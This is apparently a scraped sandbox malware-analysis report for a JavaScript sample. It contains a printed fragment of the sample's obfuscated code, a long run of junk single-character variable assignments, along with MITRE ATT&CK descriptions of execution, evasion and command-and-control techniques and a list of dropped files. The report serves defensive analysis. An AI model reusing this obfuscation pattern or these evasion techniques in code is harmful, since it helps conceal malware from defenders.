1283	uiucp = "u";
1284	uiucp = "G";
1285	uiucp = "f";
1286	uiucp = "F";
1287	uiucp = "B";
1288	uiucp = "b";
1289	uiucp = "E";
1290	uiucp = "a";
1291	uiucp = "k";
1292	uiucp = "i";
1293	uiucp = "C";
1294	uiucp = "x";
1295	uiucp = "N";
1296	uiucp = "Y";
1297	uiucp = "w";
1298	uiucp = "H";
1299	uiucp = "J";
1300	uiucp = "R";
1301	uiucp = "D";
1302	uiucp = "i";
1303	uiucp = "0";
1304	ejinefik = "P";
1305	ejinefik = "m";
1306	ejinefik = "L";
1307	ejinefik = "i";
1308	rfgwnzm = "t";
1309	rfgwnzm = "y";
1310	rfgwnzm = "Y";
1311	rfgwnzm = "z";
1312	rfgwnzm = "g";
1313	rfgwnzm = "A";
1314	rfgwnzm = "q";
1315	rfgwnzm = "f";
1316	rfgwnzm = "E";
1317	rfgwnzm = "m";
1318	rfgwnzm = "q";
1319	rfgwnzm = "C";
1320	rfgwnzm = "e";
1321	rfgwnzm = "s";
1322	rfgwnzm = "i";
1323	rfgwnzm = "s";
1324	rfgwnzm = "w";
1325	rfgwnzm = "k";
1326	rfgwnzm = "v";
1327	gpcewyhh = "n";
1328	gpcewyhh = "2";
1329	yvzwygy = "w";
1330	yvzwygy = "K";
1331	yvzwygy = "D";
1332	yvzwygy = "P";
1333	yvzwygy = "n";
1334	yvzwygy = "P";
1335	yvzwygy = "U";
1336	yvzwygy = "A";
1337	yvzwygy = "w";
1338	yvzwygy = "O";
1339	yvzwygy = "A";
1340	yvzwygy = "B";
1341	yvzwygy = "M";
1342	yvzwygy = "q";
1343	yvzwygy = "m";
1344	yvzwygy = "P";
1345	yvzwygy = "8";
1346	lzymw = "Z";
1347	lzymw = "g";
1348	lzymw = "f";
1349	lzymw = "p";
1350	lzymw = "b";
1351	lzymw = "V";
1352	lzymw = "P";
1353	lzymw = "C";
1354	lzymw = "F";
1355	lzymw = "G";
1356	lzymw = "f";
1357	lzymw = "i";
1358	lzymw = "y";
1359	lzymw = "e";
1360	lzymw = "g";
1361	lzymw = "K";
1362	lzymw = "P";
1363	lzymw = "B";
1364	lzymw = "a";
1365	lzymw = "O";
1366	lzymw = "b";
1367	lzymw = "S";
1368	lzymw = "v";
1369	lzymw = "C";
1370	lzymw = "z";
1371	lzymw = "a";
1372	lzymw = "W";
1373	lzymw = "y";
1374	lzymw = "x";
1375	lzymw = "f";
1376	lzymw = "V";
1377	lzymw = "E";
1378	jhkcc = "R";
1379	jhkcc = "h";
1380	jhkcc = "h";
1381	jhkcc = "F";
1382	jhkcc = "d";
1383	jhkcc = "z";
1384	jhkcc = "n";
1385	jhkcc = "L";
1386	jhkcc = "p";
1387	jhkcc = "s";
1388	jhkcc = "J";
1389	jhkcc = "w";
1390	jhkcc = "w";
1391	jhkcc = "l";
1392	jhkcc = "O";
1393	jhkcc = "F";
1394	jhkcc = "O";
1395	jhkcc = "t";
1396	jhkcc = "9";
1397	vbtdorfsf = "C";
1398	vbtdorfsf = "u";
1399	vbtdorfsf = "c";
1400	vbtdorfsf = "m";
1401	vbtdorfsf = "t";
1402	vbtdorfsf = "U";
1403	vbtdorfsf = "Q";
1404	vbtdorfsf = "m";
1405	vbtdorfsf = "b";
1406	vbtdorfsf = "J";
1407	vbtdorfsf = "B";
1408	vbtdorfsf = "G";
1409	vbtdorfsf = "U";
1410	vbtdorfsf = "V";
1411	vbtdorfsf = "P";
1412	vbtdorfsf = "i";
1413	vbtdorfsf = "J";
1414	vbtdorfsf = "m";
1415	vbtdorfsf = "f";
1416	vbtdorfsf = "a";
1417	vbtdorfsf = "W";
1418	vbtdorfsf = "N";
1419	vbtdorfsf = "W";
1420	vbtdorfsf = "o";
1421	vbtdorfsf = "o";
1422	vbtdorfsf = " ";
1423	mkqez = "G";
1424	mkqez = "x";
1425	mkqez = "c";
1426	mkqez = "T";
1427	mkqez = "H";
1428	mkqez = "5";
1429	ehuiu = "f";
1430	ehuiu = "k";
1431	ehuiu = "o";
1432	ehuiu = "h";
1433	drnohtm ( );	drnohtm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1732630681161426175.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\abdbfdb3-64fe-48bf-8ff2-48be01fd9666.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5616

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1732630681161426175.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre